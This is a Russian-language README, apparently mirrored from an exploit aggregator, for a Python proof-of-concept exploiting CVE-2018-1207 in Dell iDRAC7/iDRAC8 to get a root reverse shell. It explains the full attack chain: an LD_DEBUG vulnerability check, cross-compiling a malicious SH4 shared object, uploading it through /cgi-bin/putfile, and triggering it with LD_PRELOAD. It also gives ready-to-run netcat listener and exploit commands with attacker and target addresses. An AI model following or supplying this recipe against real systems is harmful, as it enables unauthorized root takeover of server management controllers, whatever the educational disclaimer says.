## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HIRONULL-CVE-2018-1207-BETTER
# Эксплойт PoC для CVE-2018-1207: Dell iDRAC7/iDRAC8 RCE (обратный шелл)
Этот репозиторий содержит скрипт Proof of Concept на Python для демонстрации эксплойта удалённого выполнения кода в устройствах iDRAC7 и iDRAC8 с версиями прошивки 2.52.52.52 и ниже. Этот эксплойт позволяет атакующему выполнять код от имени пользователя root, что может привести к полному захвату системы. В коде мы показываем это, запуская атаку с обратным шеллом с помощью эксплойта. Код в этом репозитории представляет собой отредактированную версию оригинального эксплойта от Michael Gargiullo (mgargiullo).
**Отказ от ответственности** — Этот код предоставлен исключительно в образовательных целях. Вы не можете использовать этот скрипт для атак на устройства, которые вам не принадлежат или на которые у вас нет явного письменного согласия. Использование этого скрипта в системах без надлежащего разрешения незаконно. Я не несу ответственности за любое неправомерное использование или ущерб, причинённый этим инструментом. Несанкционированное использование может привести к серьёзным правовым последствиям, включая штрафы и тюремное заключение.
## Как работает этот эксплойт?
1. Эксплойт сначала проверяет, уязвима ли цель. Он отправляет запрос на страницу входа с особым параметром: `?LD_DEBUG=files`. Если в ответе содержится отладочная информация, показывающая, какие файлы библиотек он пытается загрузить, значит, устройство уязвимо.
2. После завершения проверки, если устройство уязвимо, скрипт создаёт файл с кодом на C, который будет выполнен на устройстве при срабатывании эксплойта, что приведёт к соединению через обратный шелл.
3. Затем мы компилируем созданный файл с кодом на C с помощью `sh4-linux-gnu-gcc`. Поскольку iDRAC работает на процессорной архитектуре SuperH (SH4), нам нужно скомпилировать код в разделяемый объект (`.so`), чтобы он мог быть выполнен iDRAC.
4. После завершения компиляции мы можем загрузить файл, отправив `POST`-запрос на `/cgi-bin/putfile`, который сохраняет файл в `/tmp/sshpkauthupload.tmp`.
5. После загрузки файла мы отправляем ещё один `GET`-запрос на `/cgi-bin/discover` с параметром `?LD_PRELOAD=/tmp/sshpkauthupload.tmp`. Это заставляет iDRAC загрузить указанную библиотеку перед любой другой, что загружает модифицированный файл `.so` из каталога `/tmp/`.
6. Поскольку код полезной нагрузки находится в функции `constructor`, код выполняется мгновенно после загрузки, что приводит к обратному шеллу от имени пользователя `root` (пользователь с наивысшими привилегиями в Linux-системе).
## Требования
Перед запуском скрипта убедитесь, что у вас есть следующее:
* Python3
* Модуль requests для Python3 (можно установить через `pip install requests`)
* SH4 C Cross-Compiler (можно установить через `sudo apt install gcc-sh4-linux-gnu`)
Без этих требований у вас возникнут проблемы, и эксплойт не сможет полностью выполниться! Проверки на соответствие этим требованиям не реализованы.
## Использование
1. Запустите слушатель на своей машине, чтобы принять обратный шелл. Используйте для этого netcat.
root@kitploit:~
nc -lvnp <LPORT>
Замените `<LPORT>` на порт, который вы хотите слушать (например, `5000`).
2. Запустите скрипт с необходимыми аргументами.
root@kitploit:~
python3 cve-2018-1207.py --rhost <RHOST> --rport <RPORT> --lhost <LHOST> --lport <LPORT>
### Аргументы
* `--rhost`: IP-адрес целевого iDRAC.
* `--rport`: Порт веб-интерфейса iDRAC (обычно `443`).
* `--lhost`: Ваш локальный IP-адрес для подключения обратного шелла.
* `--lport`: Ваш локальный порт, на котором работает слушатель Netcat.
* `--keep-payload`: (Необязательно) Если указан, скрипт не будет удалять файлы `payload.c` и `payload.so` с вашей машины после выполнения.
### Пример
1. Машина атакующего (IP: 192.168.1.100) — Запустите слушатель.
root@kitploit:~
nc -lvnp 5000
2. Машина атакующего — Запустите эксплойт, направленный на iDRAC по адресу `192.168.1.50`.
root@kitploit:~
python3 cve-2018-1207.py --rhost 192.168.1.50 --rport 443 --lhost 192.168.1.100 --lport 5000
В случае успеха вы получите сессию шелла в терминале Netcat, где сможете выполнять команды, например `racadm`.